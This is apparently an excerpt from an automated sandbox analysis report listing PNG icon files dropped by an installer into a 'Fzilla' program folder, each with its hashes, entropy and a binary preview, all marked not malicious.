C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-2I34O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	709
Entropy (8bit):	7.564612361908848
Encrypted:	false
SSDEEP:	12:6v/7x015G30ZW7iF7tG4Fwc4f2aTQEy+y07HqmCqHGUm91AgFxk9Ki1yEz/0YD/B:S+GAN7tXzwQ9+yUqlL99KgFxkt1yE7d1
MD5:	12D8C74406C83D429F22171ADC4B7C69
SHA1:	00B725F1D485D76AF564E3AFA4E2A21B35CD842A
SHA-256:	7DC03B1EB21957A539D11D8DD73EA60FEF37F56ACEF5401C0DEE3DC06977580B
SHA-512:	45029B351061DF6A5284D167B0CB8AEB0E88F227BACEFB4F45AEDBB436702E61EB620003292CFCC2DB4C93AFCE44FDD98D7674BE3692983B3F94C586F2E4E746
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx..7..@........$xO.%8.7..k..'.s.2..........b.J...vOO...H.p....K.F$ S.1..L....L]....K.."..a....%j.,.]....V..le.w....\.T.e..Hb...h...b$(.V.(.0.'.....}x......(....T....y.^...$8H.F."....z..1.a.H....!.}.{..t..x4G.d..98......b.......8.3...(. ._0.0..,0..T8..Z..M.E.G.WF.hD.....O.p..n...!9..9X..LG..K.EN..z...........C.N....D<"9p.G....Oq.2.).t.h.......I.oD.q..v...J...M....<....).............o.Q'..T.."._#.t..5.......C~....AnpPz..L..yD.9..w.........{E..8.....S.w..)......a...jh.0./0e.J..`xz/..s..:.%O... .I,0...3a.%P ..u)9e....&l.........*...t.......Ru.mv..Y.i.....%..^HU.._7>..W.}s.....0...0..e.....ao........1...g.#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-4CFFH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1437
Entropy (8bit):	7.787810694653926
Encrypted:	false
SSDEEP:	24:uk+Wjt4wxuBvwL27+f9Ogw473fOkX/AlfOzLbAu9RHhPo5J6b4J3ON/hP3wXkdBL:ud3Bv9kw03PANOzLU6aXV3yhLAaZ
MD5:	A0AF1E29C481A5DC89DAA6325DF07DB7
SHA1:	98B1227B4251A6BF6C30781C3282ACB5449792F3
SHA-256:	7109B43596AD9F909FA79418C800783A4F32DC05C9613911BC721952CF1A2116
SHA-512:	B14CE42DA80535A7576581B61A30E92C1459307410F7D269CC7593521FF1AACC5A602018CBA26AF4C6810F09E091B05171825CAAF79B171A03D051CC205ACF12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......dIDATx..X..+U...R/..1..w.......<.C.w..N.ww......k.n..{.....$...L.{v..X.........bk.u.....bAp.._)..~......]..!..}.1.$.-..I.......?..g.l.,....<.?..n....Fn.....SYo....o]v.e..v.m.....a...:..$.dQt?....ZK........B.!.n.sC.............0.$L`ll....N!+A....^x.QB.........e.5.;....@..o6..O..0uco..F.Z..u.]..j...R.h....../.xmf...DgQ..Q.a\|\|.###<..BQtq?..3.(....>W..I...,..$O@J.'...Ma..(......tr.cl...P..L..P........_:..F(rA.p.W.0j...t..s...;y.}.(...{}.]v90..4.....w...R.0....1..%...0(.@.../..w...@...1..<.#..........XA..2..w(+....h4.>H......O.a..@....U..H.$...R.L ...U..v..',,.X..&.p......Z...Z..f.R-;.J[.G.H.b.@.J.PJ.{..gA'F.Z.`Y.X .... J$.53....N... ..D.U......Ts... .${......o...D...^B.....X...Rk0..&L....u&.#....Yf......T.....RJ...J.Q.VB....'..N.p..-...{..p...Zf...B.q...b2\|.A.H.#..P..>.0.X..=...K.\...?p..R..;.f.......{x&..=.`!.."..2ZX....X...h1=...V..&.VJ. ....-P.\.*-....6..$...Ti...S..J.......5.....f..`........N..y@J..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-617RP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1832
Entropy (8bit):	7.836435017394182
Encrypted:	false
SSDEEP:	48:aYSwcXruZoeFp18yilYBsLjn2NRPOQ2nz:7crlG18pl+sLj2i3z
MD5:	7D2D8047F89E29A825FAF45C2476059B
SHA1:	9E76DDB93B99BC6D3FAF75C87DBBD23092E95A0A
SHA-256:	EC08DD5D9D04F4F513076915F82A1C6FB10A77B20FAC118D40307E545CECD875
SHA-512:	611D3D58707A87FE2CDB4F9F1DD01AB49F585C630F83D0BC47C962032E34B887DA284E1BAA4027C284F3B8241C2B63A200D838B8344756495C39FAE7BC27C069
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X..#...!..1_...I.03s.aN~8.0. .s".33~....x.1S.[2..._..lI.=<U].^..{......a..\|.+.%.\|.;>/\|.?.y....7}.;..C..?.A.z..Ck.c... .N...8z.._..W..pd7....z1X]]E..N..'h...w..q.K/z.....o...]!.c.;w.EQ8.lA...p..,,,....;..<v...uDD.EX^^....Ht.].$...t\.h..]k......;....~..... .2..#.^.:..\|....G....=O.s..y3v.T....\|.+....+++$B.#...v1-..6..E....~n.....I....._..^..=.u...'.y...J..t..#?............]ye.N..(...D..0...T..1.....+..c..u..t.-..U<.m.@..`..........%O8......`..6.P......?\[.?..v..[F._..i..$..?....u....t.Q.rP@"V.....>.......3'B.2..}.wn3..9 .....(...+cl...?....pb_.a......iY........$:...i....gl.B{H.......P.....!..@n.hW....P...Y!....c.Q......X.A4#.R.l...v..._......s...a.(.`..2J.8..Bt.a...n..f..>7?..]w?..}.q.#....B&.L...zh.>.....:.\...:..~.n.Rv.bxl..\|.uq...c.@..]..?.~.+.%_H..AD...P.j....+.8p.....{m,v.s..N3`..F'.@.i&..Z.....i\|.O..?]`/O...w...y!$`.g.0.B.@.3q_.X>.T.&.F'.p..."A.J...4x..:................B...0..~.<...Bt...N.E.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-8PCFV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3173
Entropy (8bit):	7.932886055544201
Encrypted:	false
SSDEEP:	48:t8JbBKKxbmOCJmjz5JuVUjxmOKV4JxfgnUmcCxjTALHHxnRbD5mP4kMs3qMXUQxW:WJb8KxGJmjuxQvf8lcEAbHLbDcU0ZU
MD5:	827439559343AC93A533E316063FDA46
SHA1:	8B9338C600A4A990A21CB34D8D5CD4AC72876033
SHA-256:	613A8D75E343673290CCF90BBBCE2618351B96145B84B74B75F390A87596A9E9
SHA-512:	6C4B9F2F8A3D19FB9BFA80F1925D5B6886178597C812E9AC129B416527F62065F35F3DF9DC0A8AFD19F177E59E58B48734F6C19CEA864CFD17989609095E5CD3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......,IDATx..Y.t.8.v..m.8............-33.0.lwxJapl...Nt....l..}.)...\...n.}...pII.1..v...sX.%.\.Y....[..Y$.ht....x..+.{.wuu.....q.\..d.-..}.XY......UQ.._4..W_;....+..Xu8\.z.W_.../j.Z..i..T.Wl@...2.y.9g.7...;`.....T...]........zU..+.Q..t....q..H$..S..`.2...`i.}C.w'.(J...+......X..H.......D.s..9..5a...^..O..#....Tnq.&.....(....( +.........n.^....!.$..\...R'.8VpH8.....a..-As.,..e7.D.4.....>..C3.._.:...r..5.5...A".F......GU..\.k.n...`..=...s.fr:v.v{.W..k .Y.Y.x<%I.P....#.L.....w.d.j2.0=c"..@.....P@..c..6.m.cU..g..Z..T...=.(%E...;.Pu}....'.}.......3$R$..I...`-H.\..4....ZZr..... .Q^V..0%)......m...PE.]U.<YXT.q....~.4.p..........0..r....I.V...z.l.....+..a.Ux..%..T.....Te..b2[..C.X<..P.{p...........y..CBU9....a..3..3S.T.@...^O.....QVV..J..]&.P.l/.<.@.bb^.:..e.h4.Z.2....G.K...D.DU.h..+..f.@s..(....\.........@..5.[.D........d..T...CX.B..z.....P..D....%\|q.@.8.y.},..M&.:Y!.......w.X/$p)...XL..#,@...G.,...l...X...".

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-9P6C8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2739
Entropy (8bit):	7.898208279576645
Encrypted:	false
SSDEEP:	48:LOi5QgunYUo090rBjORyDXJzFLmW+CYBEarlpuF7H7L58mHq88axlRxMBR/NAX6H:6i5runy09DIDX/mW+lEarrm7mmHq8Lxa
MD5:	DE1036EBE8D46AB7707F81B71A0AB448
SHA1:	683D88B41B50C8E64AB85E98610463CC53F94075
SHA-256:	5D86F04F2D70B0B6394E9594E4BB969D3DEB1212B2B67A0EDD8458A67867A171
SHA-512:	D5B656C24AA3F90DB3E4AA55AC451FB47CFDD5348C4EBF4999164FF9925A9B2744A7EDC3C031C8957CD90FA18E2733CF78B67315E05AA3DDCA17480DB9ABDF8C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......zIDATx..Z.p.H.}R....{.........-3333..333333.233...[......WuE.sv&s....n}[....J....6Q>.............R.Zk.<.+.!...........(..].z.....G?......#.:<.J.,./..E...Ri}.x..=...[...?...;......R).f..[..;<...Y.%..,...g.1..4.\|..@.=...I.l.\&..J.......B6.#.#..x..i.`.na.k.k......,v....B..d.KN..b6....T.cI@...%.&.#L..$.X6P.......D...._i.VK!.......s8dY.?{H..$J D.@...E.......($.r..q-......$iaj.f.E.q.....a..l...d2...R.....+......cc..........(W..HW[7Zz.R...PJB.l..}....`.61::...I....&-..>G.j@YN.KN.lo....z))..z....%........>....9..\|@%.....E....?....?0....e~..?...{l.R...."J.V'M".q..M7ILL..x.4%...==h%-&.]4.\...#.:b.b....t.<u.X\k...kca..}......\...IS#N$2. ..8..._....x.XS,...O....z.}.@zH6..`.5..;$..".>...k....._...<.<.wI..Bm6F...T.H&.....3. ...fh..U+$..m...TX.K..W...v...a.33.Xn.....m.\|O.Vo.\....\N..%0...^K.VK.$..8......+.lI...V.2;* ..r!3h.4.)..".$.w."~b<.`+l....v.../...h%u.^%...}...0p...Z..%i....&.q.....dh.....J.s...f3B.Q7.*

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-9TN3P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.573388378416767
Encrypted:	false
SSDEEP:	12:6v/7YQawA9KZMHQ3/DM7PvqGowqiVdw7gwqUvlz5nZWpFJV:5Qa5tQ3/uPvH0iHyJW
MD5:	B1392720DE6F62CC053754418ADE5AD8
SHA1:	DDAE0F4376F3DCBE99A094C9A9410AFCDC0DABC0
SHA-256:	54906BBDC39B746A9F373B3F58E63B29B579BE017F434110EE47147849B03405
SHA-512:	7BC21473EBE015ECE58EE59AF5BF1B5669B0D17F8B92A73D5806D7997D85EFA82D729B68D51A0B12E16EB04C15011EB99CEF3E46F83EF04ABAC0B50466C6342F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......SIDATx....TQ....fl.(..."...... ..X "..a.H.%..@.........De%;......5....}..g...=..1?............)v...Mc..)..;W.......;@U..>o.f..qJP.OH.q............-@6......4c.... .J..U.?..M.`.0........{....kt...\.7.z.... ...).qE...{./.M.<a.QH.....r`P.....KE..s.Gt.........o]....;\|.0.....h...HL].1.S......q..vXc2-..o.....y.[...j.y..J....V/..%$....w.%....-.......)...P...2.......{a.."w..?{S~..s..y....>F..9.W.3......e.Y....y.q... .......V.\|.k..*.p.d:d9D.........o..T....r.......q6...l..,k.0..pz..]..3......].a\!.>....U...p.k..\|....I...g/]?..e.....'?.O(... c.tV^[..<}>...9@.3.A30000........1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-9VRMT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.64523889523795
Encrypted:	false
SSDEEP:	12:6v/7MD5TGTYY8/yi37n7BLX8p5lRvThVA8dSk5aDFPu71jBn6sdSSGt3h15wq:BlTvZb7nFsHluoax0Bn6sYSQkq
MD5:	B4800FCB5C8C98703E7F285699CDA3BB
SHA1:	AA326363A5B4E692F28EC561B68B17AF80112394
SHA-256:	48506E6C4A09E27100C0DB5C789D2EB1780DE58EB5EB752843600D5CE31F6327
SHA-512:	007B67005DFF1AA7108054882CEAA17BEDEEAB03396980DEF5307689852E0E799E11E50C5BCC7D12DBA47B9D9E809E03E869FA14BFE10702C9D7AA7EC198C83B
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....oIDATx......V...o.i{m.m/...;.\0;..y..N.l......l.Us.k\|._.5O..,.U...^.^'.>...e.c...+ORB..}.;[.....6.[...U..FnZ...>...~#. ......!...(....7..#@}v...M4....Z.c.C.I?.."....`.:.m.qd...>'.y.?@......= .=..3g..in...$..Y..$9{&...U.....L........x...4G..}Hp...8P7h.!dA .#.& .S...=o.....2..G..o.o..m.M.0U.W..V`.....g..;.w..'._...Dz......l.......q....@.../.@S.hz..8............(...R.0e.}F...&..J+al....W.;?q.......s]E.....0.Ut.?.'..........8.....7C@..).Y,..H..%.fh$.d...,.....k.c..b...i.x...........oj@.2K..&..`..Te.(.<...&..rJ..X.L@a.&..P....$.6.fWh......"..6..(.^.?..:.(.D..G1L....h.P. S.(.F...#..R.x.X...1.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-B38GH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1947
Entropy (8bit):	7.843487140480695
Encrypted:	false
SSDEEP:	48:u2zjNFcZSef/TDVlR5L8X73lMl2sw55iNUMP17jNc:u2zp+ZSAhdQJMl/45i597i
MD5:	6A49987F2B96B59D2FC706332F2266B0
SHA1:	16C8552344FFEC1410E5CFA297A240B44B4EF24B
SHA-256:	729D421F2408A01474619BA5B29CA72A11B98217EBC42E21EC719C2A5451EDCE
SHA-512:	EB6508086F19724FCF31F3F79595B44983A6B0386E08C4FBA2A56E4C50DF8CD5A32F6CB43C5F0B3D5729EDAFB18A3BB2C5873A61CCC0247855DD28E866AECA48
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......bIDATx..Y....l....03333333.(......+.....L...e.$+.s..ko<..S..z%yA.V.'.2...W..k......Z...u.9c..N?...`............!M...M,,,\.g?....\~......ann.i...$\.'.k.....!...^....{...-.$t.e...<...N"n.i.`..A....._.......!.........D...'b....2/w.$I..X]].H....A....<.y.{...v.4..?...2q......m..r..t..\.+.-...%/y.....E.E..b.$...}...Q..>....O\|.9.z...........t..@..p....4.7...'.{...e...7.@F.{..a.v....&..H..r.c.....\|.`y3...XZZ...8t.(c.....n. ....N.z....^.Y.O..o/..e..5....I3..R`.............M{.,.iL.{...?.W'.&..-g........+...+.........._Yl;\..8h.......o....v....@......_..........\w..Y...`....f..A..i.........U.e...^.4....L.i...3,......hW%....+++.....!.........<W..0Uuh....e.5.......;..J.1m2!/.....1.=2V.k....D.V..f...B...A...,...w:P.%fff...}.q...]%..y.X...a.i.....@\(Y..S.....k9...U.~=..jZZ...+@k."....0N.(.v...z.!..6h..\.e%..wmd....=:Ph.a.`).;F.+\.+...<....U..p...f../.)m7An..59X..5...N.RY..k,E..t........=....HU.Z.Io....Q...G?.p3..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-B826N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2011
Entropy (8bit):	7.872260719714297
Encrypted:	false
SSDEEP:	48:xJXo1ikxVG0uJpbW4E4e4lesPdhw5qNAAbk7y5tF0rOWkETH+p:To1iaG0sBlA5MAukWtvWk3p
MD5:	9DC4CB6833ABDE58A8A36D4044BA8C47
SHA1:	067268B9FB04E21B232F76A27FA8A2EE7748D92C
SHA-256:	7F466B49D6CB2D881130CDA76EC35C22C6396F2480FFF80E27034A3CE74CFCF1
SHA-512:	327216AA6205AAE9D2A4F346DB02CD1CB7CFDC83F5B7AFA8644178C0B54E542B31531AF7F7A953DD8E788BCF43940AB82D7B3139537D7AC1FA98B6762E9EA2AD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y..$K.=U].g....wp'...f.."..m.o..3.m...'............Q..sn..7...0^..E.}..4M.6..'.k%t...:..a..P(..A....p]7".........wN.l`.h6...b1....].h4 A.lh..@x.;..:.....8......."~._dA,G.u.]W\|..u..m.H....W.........BF.+./0..y.6."..-..msc....LLL........... L.....crr...7..XZ...,.-....f.B.P.M8. v.....8...("...q.d...J...m.5.......-..a...C..Ja.=0..-.....\........333..-....Yg...l..[.lYv.}}....<gzz..q...&.$..Y...Z.A.....7.R......O..z.".....6....mJ.....M&.N4..q......).......f!....e.\....L&...O..))..q..<.~......`..}..=D.;89$.....g....O.ZW%..\...........T.>...l.....f;.9].$........_O..@...u....{..\JP..Ho...{.......e.W%.HJ...E.\.<..8\|/....}.o/.FFFz..".........#.u5+.../.9..s.v..7@..........X...nE.../......_.w..../..O~rT..h...V.`.>......o."..k$..[.......xv..$.......R..z...{.1..U...^A.]..)..%.]`9p\!.Y....y..}.S..y.k.........._.........[.G<....La(...7?.....O..2>.-.1s.....Og.=>...X?..Kp.....A(..~.h.....vD1.W..N..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-BPKN3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3129
Entropy (8bit):	7.90590193685731
Encrypted:	false
SSDEEP:	48:Le9Z9J9KIDb15a14Y+enP33yiI9kKqqw+HZ140TKoWnY7MldA7UP7x8KLpeQ:Let5DR43y99XT5pTKoWnmMMit8KLp5
MD5:	BBF3CD5FBE19966EA81451A29EF3E623
SHA1:	2822295B0AA92A0EF995940E4AF70CC06C4000AF
SHA-256:	757A7823E97501926C27AB77FFF344C693FC842896EF35F2CE8985942B1FDAB9
SHA-512:	07A12BA043AD4A0657CA0617E693F5479D4F64D424720CD16A9E7046E384014739FF9B5790B660E8105515255EB798ADC57B8878ADFDF505B5A7A82B19D13110
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.t.H..$c..4\................\.^/Wn.fY...v.......e.(Z.o..X....G/..{.}....h.4....9..r..Z{......Ikk.<.6.....V.w.}w.....w.u'?.Lo.O.t.!:.H]..;.^..i..............c.....e.4.xk..5d..$........a...uD..B..;4.M'.".........;....`($5ZbY..+....s....q............K..P.@].ZD.K@...;..f4......Ioz.U.x :k@..t....9.TV.4\|...yf.?#..@.....[.p=.. .......S0...<06..-.....I.O......s.Q...!....:b...#:fPR`"....L..8N...@.G.......4...T."...4...Of...R./..r.S...F.?..X....8g.B.........<n...C...RI.ae3.d"...J..(...Px+(..X..L...S.....q.U.)..3...\.8L.&.m.!0`......o.G..5.[..H.....!...>\wO.!.(..{...rL..%.unJ..EEpl.x....B.[w.u...h..a.rDS.....1.y...vUY7.. 8...Aj.8..#.O>.d.G......D.h.r<..B..&..0Tw5=.....5..........p....R]Q.....]G@.i........X8.d2..g.~./".i.Y(*DEi8......KV.!.L..5.....]...A0. ..EaE;bE.....z.`..b.AU..Y....Z...pA...<...i00..Q.v.@@.j.`(.]..'....6..aI......uXt.a.N.,.B.u.dT0..8xg.)..4...".T9....@..h...av.a.w....T.#....Z.2..u.......

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-DAGUM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1801
Entropy (8bit):	7.8529649753404875
Encrypted:	false
SSDEEP:	48:oV6FhXBu+tacF7XXsuKD+v+lx+aSM6qTvFqsm+O:BFxBu+DXX18+vlsFqsm+O
MD5:	855E4A2B22F216296E1889D2E33727A4
SHA1:	AFB12C6D49688CD3048F81237DF25A187C1FFF09
SHA-256:	A83414762041356CD4AF6B82936626B558010C34886A4B6C49E4DDE51DF7564C
SHA-512:	F6654497BC1BB8CBC8EEF126480C872FB85B2E74AEE0D2261E1342333B48E7F945C865B3EAD6970CA6288F01193E9282A5AAAAC07CECAC0DEB969C538B360245
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$......b...........g..{k...g.dd.sOv.....E.:...t...F...\..\_..r{.O.m..a...b.ME.-.SKn.+.o.......I..D.PD...q...../Sh..h..(.........o..Y../C..k`E..K..].q..?.G.q.....E...._.....n:...zU...!./~.(...o..<fx....n.Y..5..!./z.p:\|...`R..O.\|mx]..T&v.... ..V.>.d.m..=E..1.u.Jh.]...>.e..E.?.r.}....b..O..1.....!.Qv%./.....}..~.D...O.l...3..YRb..Yl\....A........".;..:3...w.........[..;..{u.0....S..V...........3......V......+y:..9._Ba..N.......;}.5...+QQ.-....t.......hR`....BSp.2c.r.........N.0...U.sP....T...<.?.p.....$@...6a.N.+.0........#..?.w.X..=.U....Ap.b......x,XA.z..{...,-.:wG!a.ya+..&......ny.J+.wBx.....G ..gVzh.g.S6.3-]@.~H....A..........7..,.....m6..Ux...2..f....&..F...~.........u.~.{#[.W`C.RH!..... ..H..u.?@.q..J.D.S......P.... ..B..!....%m....@x7.{Y..V.m..?..Hyb.....23....... ,.A.]B....t).n... .1........;....?...l%......C....zZ\[i,..>.v..p.b.8l.....8HxfkP.*.(...i.@...f. 6.(.....w...\|..I...fw.6e

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-DGEIV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	7.809843045291506
Encrypted:	false
SSDEEP:	24:3IEX8vZZjrU27eFYjBYB+PGMF4iVBoy0Ov08uAm4o54ldJZBWgqU:3jurgFY16+PfVBosv5uAaM7BWgZ
MD5:	6895C926323D8F67FC625117AE5D2590
SHA1:	C41DDD1E18F3E3C459E953C031D19261BE397CF9
SHA-256:	0059D89A1EF5FB36359652B7B2042A422641F7810007B8DFE1A0B3CF7ED0880F
SHA-512:	426E750658034E45895796CC1A544CD33479F8586BF38F914F8B06B7AF2F96BCBA17EE5A986FF9C8247FEE2F2C3AEA010C3346A8DE2355DC59D453F5EC20E454
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....5W...j....m.6..........gF...m......d.9._/^..O~Y...3..;..$O%.TRITRkkk../.0.....g..!...J....`0H...c.3..N;...A..@(..8CCC..DY.E..M.q.s.U4..A.)........---G.....+....'...~...omoo_:...[>...k.Q.....^kkk...<...Oa@.n..6.2.~...7..........s.r.e+..{d...X...Vss..c.lN.......\|....N........@.....gMgg.. .?....g.}.Q...o\I...V.P.....>...$...t....a......._....Y....f.m&.............&...F.B..g.A..........OpH,.u..{.'E.Q>W6>j.....W_.'..j..h.M7..^zi...../.$.(Li.[.p8L.H.v.e..m[......O@......?.........sV...r".p..qq..!...@..P..........T.......)........fS....o....Vx~.O..w.Q.d0.Au_..J7}..K?.I..^VV..NOO.J....}E..-\|A...o.................t.).P<...... ..H$..p..&...T.8.n.Ab..f..[..W.V.,\....>./_.L.5w.\..Ja..I...-....^VQQ%.3.Q....>.....a.r]....H...h..$...f . ....\.^G.W@...../PU..,.W..vn.1$...I..2..V...@.=...7~l...x...K...........4M>...:....u/.8...t..t.....g..X.n.w*.}....UA..R......y.`...?....kkk..\.]..rX.&...B..._kJj`.O..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-FAUGQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.8086479793218695
Encrypted:	false
SSDEEP:	24:3vB9vF4nUICorkgFn+nC7O0DXyS35B7HmRQmDMTLhmOtt3/ibJPC85KYdyHnk/uv:3pTm1CQkgFn+nCCiXRzbmRzYTL0OtFVh
MD5:	A092AA11A5F86EBF2B5241BEDD53181F
SHA1:	2E57B77062B0639E517C1FFB1B4C35002EF67EE7
SHA-256:	43794E4BCB9932D45C30A2FC560689648E02C3D9F7234221680144527EF527D0
SHA-512:	2572075F4338C6E810CC83DD055D1A62E73E8272572A6CFBA32A5BF353CB8376A968591D862F7644E01BD092D506E29133D525CF6823B55FE0F70420C63AB3CA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z..,i...z..m.}...m..^.l.1..L._.f.M..s._..~..Y.:......_...0....>zV(..... Pv..T.9.)..}.......H...4.'..<.........{.r.F..0P.gE..9%...n`....T.r.......F.5~.....<..+..2...H$b.;w.....k...??'..:....C..t_W.N..4M.d20~.xc.ak.3.?..C..mb..^V.2.Xh4...f]G.....9r"...}..7......O?..........w.Q.!.'.IX.x18.3f.....`..7....M....f..(....3.O...X,..V.t]..rB+..k.#...y....R..q.._c....RL@C...Q.r....ygg.p....)S....iw.y...\p..d@a.Z...}........T...+V..y...,Xe.U.S.N}..{..q.9....@.i......$0..6.=.......w.i.......66>..F.....'....uQ......-..f....H.G.m.m..T.P...%K..;...9....F.y......A......'.d.+.Q.n...}5#..~.w..7Yw....}>.F..Q.x<........~...gz..`.E......Z......g...Lg....<........G........`...mt.}.%^....\|.kb......X.?B.2.QFNG..V.dA......&,\.C..9..;n..m.}o..l.4p..o.dx.{.b`...OM..Q..l.`... .7Y.I..m....1...K.R..;&.W.eu...\|c.3 .!.2.... .@..3k...e@)z.-..MW....A{5iG..#/....j..\|>...;............L.!...e.}..2.y....~p.j......q.QkJ2....3.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-FON64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2183
Entropy (8bit):	7.8657371099779265
Encrypted:	false
SSDEEP:	48:otTG2TnhhfYqHMfino69VSE+R4PQrAqZDbF81mOQY9gRfkXE:otTGqhh/einoXRNlbF81v4kXE
MD5:	F40C9D0076DA206C215C315BA0412A1E
SHA1:	DB2349C249F1AFD8AC4114333C1E55A381D28246
SHA-256:	E6E7A14AEC6963C787C6AA5FF142433154F7875825323E264A6F896C55CCEF57
SHA-512:	C826028CD4BD023DEF747497A7170E69C38778BC9E6CBB6AD0660C56D1A35E0B0484E614F1648A2D8EBC9F010E5839285FC2AA28E10DED215AEFE5E1DBF3B896
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......NIDATx..............\|...0. x.0333.C.0s".333.-3.0....Y..Lgw..~.T^..__W.-..I=.1..c... x.....0..N.U....;...e........$lRw<..o?...KN...d.h....:.P....}...p...7.. 3G....8A/....0RC.ETm.....8lNb..?\|p(..4.....v..98Z..r9..5`V.....g;..GL.Q....7......Y... k....?....c.... .....r.....o#.N..}.k?.n.A+C..q...............Ru<.....4v.X....?..8A0L..o.........\|..:=.............c.6..FDs.m7s..1..;F,3....s.a..i.....@.s.j...X......h.S.....L.)....=.V.T.....1..>.F. ...z0&`ee...yr...B.W.3..8.Z...j..4H."N.......I...u\|...Z..U..x..@k...j....N&..D..>(...%t..,.y.Q......8 E.O.\..+U...1sHm..F...:a<W....\|l....[....h]B..0..I j..aD..I ,"R...1..(g.....^V.l.@.#...R....:.=.....UC.6...,.....#....(=.2.0=.L#..$F'.Hn.@.c.`..Q..Y./.....x.r...r.a...0V.ex$q\.4..$A4..% ....HG.A.t$.I..Z%...}.8z.(.....Q..\|\....Z.A.`......1.".\|..6.S.....>5....t..`0....:B.X. .3C&...(....9.D..\..x..'...f..?t./.....d.[.P.m.D. ...(l.."...3 &.d?..%..<Tt.."TA.1FE.~..$....?....."T."..p...%@.I.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-H0LUH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2263
Entropy (8bit):	7.888034327189823
Encrypted:	false
SSDEEP:	48:98SAju8Kem+/RNtZm+f6Hdm2tsUcxHCOYi55IIlaM:fAju8jm+/RNtT4w2tsUAHCOYe5IIlaM
MD5:	BA3DF3C0BBE4CA44738E96B70375532A
SHA1:	3D6914353286A62D1951DE5B44E411F5DFC8F612
SHA-256:	A1CBFA558A824E8E799F4EA0CA9CE1C8787F107BDED6A72A3F60C32B6B1D8F6C
